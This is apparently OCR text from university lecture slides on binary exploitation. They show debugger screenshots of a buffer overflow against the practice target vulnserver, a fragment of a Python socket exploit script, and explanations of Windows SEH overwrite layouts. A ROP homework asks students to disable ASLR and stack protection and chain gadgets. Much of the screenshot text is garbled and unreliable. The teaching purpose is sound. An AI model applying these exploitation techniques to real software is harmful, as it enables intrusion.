o Lo ES Bozl FEFEFF)
E Handles i AC gg g% ',:,':',:',::;
0Z Bez) FEEFE)
o CPU Artc [ FZ @EE DDEEE ! FFF)
= . l- G5 BB2E 32bit @(FFFFFFFF)
e SEELchiam B o LastErr ERROR_FILE_MOT_FOUMD | @0000062)
ca Patches Ctrl«P  EI1.ERH BEBEEZEZ (MO, NE, ME, A, HS, PO, GE, G)
cA - Tin a.@
co Call stack Alt+K 2.2
CE : i.AL N
oa Breakpoints Alt+B L L a. e
S e
=153 Watches a.a
ala
e B i e
aracal WEEEEEEETE valnseow. odu Leken
Run trace oaSaomng BEZSFEFS| ARaRaEan

BEZSFFFC| Qoaooo@s

Source

Source files

File

|u] (=]
E =]
B8 PG G0 DH| OB B0 OB 0O B0 OB BE G0) 0
< Qalea aa ge 08 08 80 08 00 08 ag ag Qo) a
E Y 23 88 8 98 08 B0 00 00| BE QB A3 00| o
E Z8| B0 B0 OB B0 G0 DB B0 BE| 0B B BE 08| G
< colog ga o 08 08 88 00 00 0a a8 Qg aa| o
E 43| @06 G0 08 90 08 A3 00 08| 0BG QB G0 0a|
E CH| B0 B0 OB B0 G0 DB B0 B0| 08 B8 B0 0@ G
< caloa ga G0 08 08 B0 008 000G a8 Qg aa| o
5 TRlaE G0 B8 98 08 B3 B0 00| 0O QB G0 0a) o
E SOlBE 6B DB B0 0D DB G0 G0 0D BB BB D& G
< faloa ga g0 08 08 80 00 08 08 a8 Ao Qo) o
& AD) 60 60 00 ©0| 00 20 20 00| b0 0B 0D 0o O %
Single step event at ntdIL. 77EDO194 - use Shift+F7/F2/F9 to pass exception to program | FPaused

ofe .

@

o | =7 | A \

@ %9 &P &5 = @ & [ B ) Right ctrl

& ) g P o 0 @ &R {3 & (#] right CErl




Black Box Exploitation Example

File Machine Wiew Input Devices Help

Sat 2035 =

* OllyDbg - vulnserver.exe
File Wiew Debug Plugi Q

=

CPU - main thread, module ntdll

Executable modules

| =iz

IR
I C

&

2

| Path
| Ce~Users~admin~Desktop™u

CrUserssadmin~Ossk top™w
| ndows sy swowsd~CRYP
ndows sy swowsd-Sep i
MOOWS S SWOWED M Sc
ndows sy swowitd~RPCR
ndows sy swowsd~WS2_
ndows sy swowsd~KERM
ndows sy swowEd - HST .
NOdoWs sy SWoWEd ~kern
ndows Sy s W0l&d s =ch
ndows~SysWoled~ntdl

[ Single step event at ntdll. 77BD 01594 - use Shift+F 7/F8/FS to pass exception to program

[Paused

) @ | Xk |

w7

=

=) g P o @ @ & {3 @ (] right ctrl

Input Devices Help
() Termi.. = Sat 11:05

File Machine View

Appli...

-

laces =
root@kali: ~

Edit View Search Terminal Help

s~#
s ~&
:~# vi buff2.py

File

ﬁython butf2.py

g er o [ @ P {3 @ 3 Right Ctrl




Black Box Exploitation Example

Activities Sat 20:36 @

File Machine WView Input Devices Help w Input Devices Help

A OllyDbg - vulnserver.exe || e e = EJ Term at

Plugins Options Window Help

root@ kali: ~
File Edit WView Search Terminal Help

Actualize
View memory

-~ i FFf2
View code in CPU Enter : "';: vi buff2.py
D dat CPU
S python buffZ.py
View names Ctrl+M -~

Mark as systermn DLL

View executable file -
aad4al 1

View all resources

View resource strings Ii @

lath
pimUserssadminOesktop™w
iz -Users~adrin-~Desktop~w
ndows sy swowsd -~ CRYF
= R ndows sy =wows4nS=oi
ndows sy swows 4 msuc
e ndows sy swowsd~RFCR
Sort b ndows sy swowsd WSz
= ¥ ndows sy swows4-KERH

Update .udd file now
CPU - main thread, module ntd L=l X

Analyze all modules

ndows sy swowed - MSI .

Appearance ndows sy swowsd~kern
1 ndows Sy sW0WS4 - sech
T TRESTT T ndows-SusWOWE4~ntdl

=]

N,

- uze Shift+F7/F2/F3 to pass exception to program [ _-i-if"éased

J Ol @] % ]=] K

had -
B @98 & = @ i [ @ ) Right Ctrl Pger o @ i 0 @[+ Right ctrl




Black Box Exploitation Example

Sat 2036 @

File Machine WView Input Devices Help Input Devices Help
3k OllyDbg - vulnserver.exe Places w 2 Termi.. ~ Sat 11:06
Flle View Debug Plugins Options Window Help

root(@ kal
File Edit WView Search Terminal Help

vi buff2.py
main thread, module ntdll
TES4ET B TIOL_EFi, DWORD PTR 557 LESP+33 :~# python buff2.py
3 © THT2 ers —#
BaoE a
£ 5

2=

SB4Cz2d Ad

F&e4l B84 as
513

R §
ES 41108168 tdll. &
ES oloooasa - = £3
cz 1@EE

28 HOF Ty
202424 DCEz2E@aa . | [n=Desktop™w

. n-Desktop-w
Ed: 2EE0 BEREEEH a 5 = wowe 4~ CRYF

Swowsd-Sspi
= wowsdmswc

2950 @4 1
&4: A5 ORaEa8aa How EHERD FTR FS:[B1,EAX
207FCz24 @C EA EDI,.DOWORD FTR SS:[ESF+C] e a~MST .

FFD& CALL _EA%
SESF_cCozemea | HOU ECH,DWORD PTR DS: LEDI+2CCT swowed kern

. =W0WS 4~ sech
gg. S?BD BEEEEE R gagHDliIDRD FTR F5:[B8]1,ECH SpOme4ntdl
PUSH

EDI
EZ2 ZEFEW@GEE CHLL ntdll.ZwCont inus
SEFE Mol ESI, EAX

i-F'..;I,lsed

(I il | - iy 4 Ly
= g & & M @R T @ = Right Ctrl g P & L (@ iF (0 & (3] Right CErl




Black Box Exploitation Example

Activities

File Machine WView Input Devices Help

Sat 2036 @

* OllyDbg - vulnserver.exe
File View Debug Plugins Options Window Help

(Efx] w]n] o+ 325 o] = cleE[mM[T|w]H[Cc|/|K[B[R[.[5]

w  Input Devices Help

Places « G Term at

root@kali: ~

[€] cF

TYEDE

Doy

&

[

0Q000000000000000000000000000000
i Il Il

Mame (label) in current module

Mame in all modules

Command Ctrl+F
Sequence of commands Ctrl+5
Constant

Binary string Ctrl+B

Allintermodular calls

All cormmmands

All sequences

All constants

All switches

All referenced text strings

User-defined label

User-defined comment

0 (50 50 50 5 5 50

uze Shift+F7/F2/F3 to pass exce

Backup
Copy
Binary
Assemble
Label
Comment
Breakpoint

Run trace

Mew origin here
Go to

Follow in Dump

Search for

Find references to
View

Copy to executable

Analysis
Bookmark

Appearance

File Edit View Search Terminal Help

# wvi buff2.
#

¥

python buff2.

Ctrl+Gray *

| Paused

o] | @

= [P
@ g &P & = @ @R [0} G ® right Ctrl

g &P o9 ] (@ @7 {{} & (3] Right Ctrl




Black Box Exploitation Example

Sat 2036 =

ile Machine WView Input Devices Help File Machine WView Input Devices Help
dk OllyDbg - vulnserver.exe Appli.. = Places = L Termi.. = Sat 11:06
gins Options Window Help

|gﬂ”£ ﬂm wif+i 350 o =i LlE[mlriwlalclslelalrl.lsl = root@kali: ~

Find all commands (=23 File Edit View Search Terminal Help

i vi buff2.py
CPU - main thread, module ntdll ﬂ ; _
GoGE| CEadsd Ba ML B, DWORD. PR et [ESF :~# python buff2.py

B4a0 <+
C =

mlm) |

s
SE4CEd B HBU_Eck.OWORD TR S3; CESF+41
Fedl ma @ TEST EYTE FTR DS: [ECH+4T, &
w74 \B5 JE SHORT ntdll. 77EDBEALF r

ES <4110E1imm CALL ntdll.ZwTestAlert = | =
B BlGGGEEG AL EAX, 1 :
Cz2 1084 RETH 1@

. . ..__‘__. .
MOODNOO-REO00GTOETDOLDTMOODD W00

50424 DCE2E0E0 Ef.DWORD PTR S5: [ESP+200] L _Jin>Desktonny
£4:SEED CROEEED] ECH,DWORD PT) Sjo-Deskopsy
B 1 EDH.ntdll e EDbaie Bacengf=uoLe4 LRYE
EELE] WORD DSz CEARM], ECH Showsagosnl
2958 B4 i Dll.IDRD F'TR DS: CER%+31, EDX b= Ny
E4:AS QORERRAR ol EHERD FTR FS:[81.EAX [E Ok
SD7C24 B LEA EOI,.OWORD FTR SS:[ESF+CI
FFDB L _EAR L
SBSE _CCe2oRoe | Mol ECH, OWORD PTR DS: CEDI+2CCT ety ei=bat
412960 @ooooee MOU DWORD FTR FSrCe1,ECH Rt e
Fusn ot

=1
E2 ZEFEB@EE CALL ntdll.Zwlontinue
SEFB Mo EST, ER=

D
i
FED
i]
u]
TED
i]
u]
O
5
O
ED
EO
ED!
]
1]
[ul
O
i]
u]
ED
1]
E0
ED
O

HQH dul"\D

?BBBP‘GB

poalalofodolul] |
b (3 (5@ T |

G TG
@ GGG G
5 (55 5
pfodogoqodualy

| Paused

@%@&Iﬁ@lﬂ'@@@ Right Ckrl




Black Box Exploitation Example

Sat 2036 @

File Machine WView Input Devices Help Input Devices Help

& OlyDbg - vulnserver.exe E G Termi.. = Sat 11:06
File View Debug Plugins Options Window Help
root(@ kal

LTS i H

File Edit WView Search Terminal Help

vi buff2.py

main thread, module ntdll
SE44z24 B4 FMOY ER=,.DWORD FPTR SS5: LESFP+41
4| IMT=2
a4a6 a4
= =

:~# python buff2.py
~#

o]
]

M DL

3]

ui=]

E' Found commands

EEo

28 F -

SB4CEZe B4 HO Addres= |Dizaszembly

Fo4l 84 @s PTI c FFEDGEEE| MOL EQN, DWORD PR S5: CESF+41
JE = JMP ESF

T

ES 41108168 tdll TrCiF115| JMFP ESF
ES oloooasa
cz 1@EE

il el

afo

e
o
O
o
u]
u]
u]
u]
u]
De
]
u]
m =]z
u]
D
=

26 i
202424 DCEz2E@aa
63: SEED EEEAEEEE o

2950 @4 1 L
&4: A5 ORaEa8aa s OWORD FTR Bal.ERx EWoWESSRELH

EA
S07C24 BC En EDT,OWORD FTR S5: [ESP+C1
FED@ CALL _EAR Eocmod e ls
SESE_Coozamen | MAOU ECH OWORD PTR OS: [EQT+20C] Zhowenkexn
£4:2950 BEEoBEol MOU DWORD PTR FS:[81,ECR E 2=2
&/ a1 FUSH 1 su0WE4 -~ ntdl

PUSH EDI
EZ2 ZEFEW@GEE CHLL ntdll.ZwCont inus
SEl Mol ESI, EAX

fodo]

]

[=l=lalalulnlnlslslalalala]s]

0 (50 50 50 5 5 50

| Paused

g P o5 (@ @7 {3 & (3] rRight CErl




Black Box Exploitation Example

Activities Sat 20:36 ®

File Machine Wiew Input Devices Help le Machine WView Input
2k OllyDbg - vulnserver.exe Appli... = Places EJ Termi Sat 11:06
File View Debug Plugins Options Window Help t@kali
- roo ali: ~
LW T e

File Edit VWiew Search Terminal Help

# vi buff2.py
##

CPU - main thread, module ntdll

—=ccooo ~# =
TEDEEEE| CEaaza o4 TO0_EFR, DWORD PR S5t [ESP e # python buff2.py
et J-RLT-] 4
o5 CC =
=k
284

IE' Found commands

S8 F

SE4CEZ4 B4 HOU_ECk, DWORD FTR 55:rCE{ Oddress |Dicsccenbl

Fe4l B4 @6 TEST EWTE PTR DS:CECHT4| FrBOEEEE AU ENS, Dll.IDF!D FTR To: CESF+4]
JE SHORT ntdll.77EOED]F| [e———

74 85
ES S}éSSéSS ﬁgb'—EEQ‘?{ Endnlentleot Follow in Disassembler
CZ l1a8a RETH 18

S02424 DCBZEEEE ER%.OWORD FTR & Toggle breakpoint

£4: 5560 _oanaame ECH,DWORD FTR_F: . . i

ggaa £ H Conditional breakpoint Shift+F2
9950 64 M - . .
£34:02 DEEEEREE DWORD PTR FS:CB1,ERX Conditional log breakpoint Shift+F4

55 ER=
207C24 BC ER EDI,DWORD FTR =5: [CESH

FFD& CALL _ERX

SBESF _CcCazagas MOU ECH,OWORD PTR DS: CED]
Sd: 2960 @REEEEE] MOU DWORD FTR FS:L[@81,ECH
&H a1 FUSH 1

POSH EDI =
SEFSEFEBBBB CALL ntdll.ZwCont inue Remowve all breakpoints

ONOHTENETDO LG TIMOON

Set breakpoint on every command

Set log breakpoint on every command

MOU ESI,ER=

Copy to clipboard

Appearance
t=. Sl s LSS LS i et e
SFEFS 5la)

ARAAAREA

BZ2FFFC| @ooaoasd|

5 EDE D6 E
P

000005 E)

| Paused

[H - &
@ 0y & &= @ i (3 & = right ctrl g er o [ @ P {3 @ 3 Right Ctrl




Black Box Exploitation Example

Activities

File Machine Wiew

Input Devices Help

2037 =

* OllyDbg - vulnserver.exe

File View

Debug

Plugins Options Window Help

>

v+ 3

[ ] i L[E[mM[T|w[H[C[/[K[B[R]...[S]

B 000 L0 00|
00 (0 O () -

8

R

100 00 =) 7
N &I = DN mMO D=

HI I
ur]

Breakpoints

Address | HModu Le Act iue

DlSaSSEMDlU

FEa4A1 158 un Llnsery
??BDBBBB ntdlLl

FFEEDIEZ| ntdl L Always

FLISH
HDg EFIK DWORD FTR SS5: CESF+41

IEI Found commands

Address |Disassenbly

Lo o] Ess]

HDU EF!X OWORO FTR
vrC1F115| JI‘1F’ ESF’

BB BIBBBBBB

SS: [ESF+41] Initial CPU selection]

a1 LHH EHA. T

FFoogaaa JE wulnsecw. 868401230
TEST ERX, ERX

ARBaEEaa JHZ wn LN Eeri. BB4E 1248

o e ERE

2 @488
S4Ea8aca

Swowsd-WSE
=wowsd~KERH
Swowed - MSI .
swowsd - kern
=W0WS 4~ sech
su0WE4 -~ ntdl

| Paused

@%@&Iﬁ@@i@@@ Right Ckrl

Input Devices Help
2 Term -
root@ kali: ~

File Edit WView Search Terminal Help

buff2.py

i~# wi
H#

python buff2.py

g P o5 (@ @7 {3 & (3] rRight CErl




Black Box Exploitation Example

Activities Sat 20:38 @

File Machine WView Input Devices Help Input Devices
* OllyDbg - vulnserver.exe - [CPU - main thread, module vulnsery] | El Termi...

Plugins Options Window Help

| =y vlemT|wn|c|s|x|B[R|.. 5| =]E]? e Alos Sl
» f=rers (3OCMowt) File Edit WView Search Terminal Help
EEEEEEEE]

CRmtucrt.__set_app_t
ES DSFEFI CHLL wulnseru. 86431823

=]

SDE4Z6 @E@@@@l LEA ESI, DWORD PTR DS:[ESII
s FUSH_EEP

S9ES MO EEF, ESP

53 PUSH_EBR

SSEC 14 SUE ESF

SB45 ag FiOG R BHORD PTR S5:[EBP+al
] MOU ER, DWORD FTR DS: [EAX]
SEBa MOU EAX, DWORD _FTR D51 [EAX]
30 2lemecace | CHFP_ER:, Coo@osl

T SHORT wu lnseru. GB4611A8 i F1
30 SDeesaco c:r1P B comeoosD e

~ wulnseru.

I i ey OF_SUCCESS (O@@08a0a)
Cr44z4 @4 @oal HOU DWORD FTR Sg:[ESEt4l.m BBEEB2G2 (MO, ME, MNE, A, HS, PO, GE, 51
Cra4z4 oooaoel MOU DWORD PTR P, &

Ee 2T canan | LALL £aNP. hmucrs o ianbls Sy
S5FE @l CHF ERH,

~BF24 FFE@@@8@| JE wulnserv. AE4E1220
S5Ca TEST ERAH, EAX

b
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X
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.8,

“_dump T TEZAZETT| FETURN to kernelSe. )
EESRFGEESEE og ool 9 ZE 3@ gal@e oo oo ool L SCarens ' socket.socket(socket.AF INET, socket.SOCK STREAM)
FPEFS0TZ| RETURH *o ntdll.77E . R ) )
EFEENFE FE z & W t((host, port))
rit

FO
CEABF.

expl.send(buffer)
FO xpl.close()

End of SEH chain
SE handler

no

RETURM to ntdll.77E
vu lnseru. <Modu leEnt

vu lnseru. <Modu leEnt

0 D0 00 =J 0 (N QO P = 5

FModule C:\windowssspswonE4\MHMSCTE dI | Running
= > 3 T e "buffd4.py” 18
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Black Box Exploitation Example

Activities Sakt 2039 @

ile Machine WView Input Devices Help Input Devices Help
* OllyDbg - wvulnserver.exe - [CPU - thread 0000D55C, module ntdll] li... EJ Termi.. + Sat 11:09
IEI File View Debug Plugins Options Window Help

root@kal

File Edit View Search Terminal Help
t—#

THE Eob ers= (5DHowt)

CHP_EEP, EAR ZELs @ ~
JA_SHORT ntdll.7PEEDLIEZ SO So e SRR RU
EHP_EBP, EAR

da_sHORT ned L. PPEED14D

FF

: —# python buffd.py
#

[
DF E? ASCII "CCCCCCCCCOCCCCCCoo oo
0

DWORD FPTR_DS: LEAX] FFBEODIBS! ntdl | . 7FEEDIES
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FFFFFFag EYTE PTR DS:CEAM+FFFFFF1,EH CS BEEZ Zobit
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OH. EH
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2 t
CHLL E=I
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SEPSEEREHMC‘H-??BEMC“ LastErr ERROR_SUCCESS (Q3030363)
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HOP
MOP Le. EN

HoF
R
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Black Box Exploitation Example

Sakt 2039 e

File Machine WView Input Devices Help

nput Devices

* OllyDbg - vulnserver.exe - [CPU - thread 0000D55C, module ntdll]
IE' File VWiew Debug Plugins Options Window Help
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root@ kalli
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at 11:09

. - o — ters (FPU) File View Search Terminal Help
D1E7 JA SHORT ntdll.7PBEED1B2 R s AR R
D1ED CHP_EEF, EF
DiEE Ja SHORT ntdll.7FPEED14D
ASCII "CCCCCCOCCCCCCCOCCCCCOOCCTCTD e

D1EE ; -
DiBE HoE # python buff4.py
Dice |
Dic1
Dics DWORD FTR_DS: [EAR] EIP [PPEEDIES ntdll.7PEEDIES
D1EE k] EYTE FTR DS:LEAXT,AL F F
DiEr FFFFFFBE BYTE PTR DS:L[EAX+FFFFFF1, B o ESEEEE Son e =
CicD =} EYTE PTR DS:CEARHI,AL B L 8 BE5E ZEBir BiE )
D1EF OH, BH |
Dl - z 1 DS @82B Szbit ac F3
piol it S 8 FS 9853 S33bit PEF FFF1
Db e R I8 &8 ool 3350c OF F1
Db e A el e FEDIEY 0 @ LastErr ERROR_SUCCESS (Q@0@288@)
D10E JA_SHORT ntdll.7PEED160 EFL 90088246 (MO, NE.E.EBE. NS, FE, GE.LE)
CioD HOF

STEA emptuw .8
DiDE ST1 emptu @.@
Do STE emptuw ©.0
O1E1 - | T2 emptyw ]
D1E = ST4 emptu O.0
ECEE] CCCCCOCCCOCCCCOCCCoCCCODCCCoCCoo) STS emphy 8.8
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STF empty G.0

it ESPUOZ DI
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Jumping to Shellcode
: Windows SEH

* Exception Registration Record.

typedef struct _EXCEPTION_REGISTRATIOM_RECORD {
struct _EXCEPTIOM_REGISTRATIOM_RECORD *MNext;
PEXCEPTION_ROUTINE Handler;

} EXCEPTION_REGISTRATIOMNM_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

* Pointer to exception handler function.

EXCEPTION_DISPOSITION
__cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
old EstablisherFrame,
struct _CONTEXT *ContextRecord,
vold * DispatcherContext

48



Jumping to Shellcode
: Windows SEH

* Exception Record.

typedef struct _EXCEPTION_RECORD {

DWORD ExceptionCode;

DWORD ExceptionFlags;

struct _EXCEPTION_RECORD *ExceptionRecord;

PVOID ExceptionAddress;

DWORD MumberParameters;

DWORD ExceptionInformation[ EXCEPTION_MAXIMUM_PARAMETERS] ;
} EXCEPTIOM_RECORD;

49



umping to Shellcode
: Windows SEH

SEH Chain
TEE pai of SEH chai
F5:[0] Exception List: [address] el - - I Exception Registration Record I
Mext SEH
SEH
Exception record structure Exception callback function l
e R e R e
L. o
- o
5 . MNext SEH
Exception Code Exception Record S
Establisher Flags /| Establisher Frame —
¥ Fd
*Exception Record y o =
F ; SOt Recon g I Exception Registration Record I -
Exception Address |« DispatcherContext) | -
MNext SEH
# of Parameters ‘
SEH
The 0% walks the SEH Chain and each Exception Handler =
(SEH] is checked to see if it can handle the exception [by I Exception Registration Record I €
calling the exception callback function and examining the
details found in the exception and context records). If Default Handler Next SEH (FFFFFFFF)
not, ExceptionContinuesSearch is returned and it {end of chain) SEH
moves to the address of the next record (pointed to by

Mext SEH) and continues down the chain until it finds a

50



Jumping to Shellcode
: Windows SEH

SEH Exploit Buffer

|
junk Jmp pop+pop+ret shellcode
(Next SEH) (SEH)
Offset to Next SEH /SEH Overwrite Overwrite
overwrite next SEH SEH with
with short pop+pop+ret
jump to hop to force
over SEH execution to
and into next SEH
shellcode

51



Summary

Basic binary exploitation model.
- Buffer overflow.

Bypassing ASLR.

Other stack attacks.

- Format string vulnerabilities.
- Integer overflows.

Heap overflows.
Hardware side channels.

- Effective due to lower frequency of hardware updates.
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HOMEWORK 2

Download and install ROP gadget. This may require you to also install capstone.

Turn off ASLR for your Linux kernel.

Fill in your roll number(s) in the C code.

Compile the C code given with the following options:
- gcc -m32 -00 -fno-stack-protector --static hw_rop.c -o hw_rop.

— This will create a 32 bit executable with statically linked libraries.

Execute ROP gadget on hw_rop using the following command:
- python ROPgadget.py --binary hw_rop.

- Have a look at --help in ROPgadget.py for many more interesting options.

Pick your gadgets, stitch them together on the stack, so that 10! is printed on the screen.

- One way is to fill the result in the glb global variable, which gets printed in main.



HOMEWORK 2

* Implement NOPs in ROP and verify that they indeed work. (1 mark)
- What does the stack containing 10 NOPs look like.

* The most favorite gadget looks like pop X; ret. This gadget lets you easily fill registers without any restrictions.
List all such gadgets (or achieve the same result) that ROPgadget can find. (1 mark)

— The more number of registers that you can manipulate this way, the easier it would be build your payload.

* Implement a multiplication gadget that multiplies two integers (imul instruction). The integers could be present
in either  memory or registers. Describe the gadget that you used here. (2 marks)

* Use the above multiplicaion gadget that you found to compute 10!. Use glb and find a gadget that will display
the factorial of 10. Describe the gadgets that you had used to display. (2 marks)

» Describe your complete stack that computes 10!. (4 marks) Safe Exit !! (bonus 1 mark)

* You are done!! Submit the document and the payload through IS.



That's for ALL
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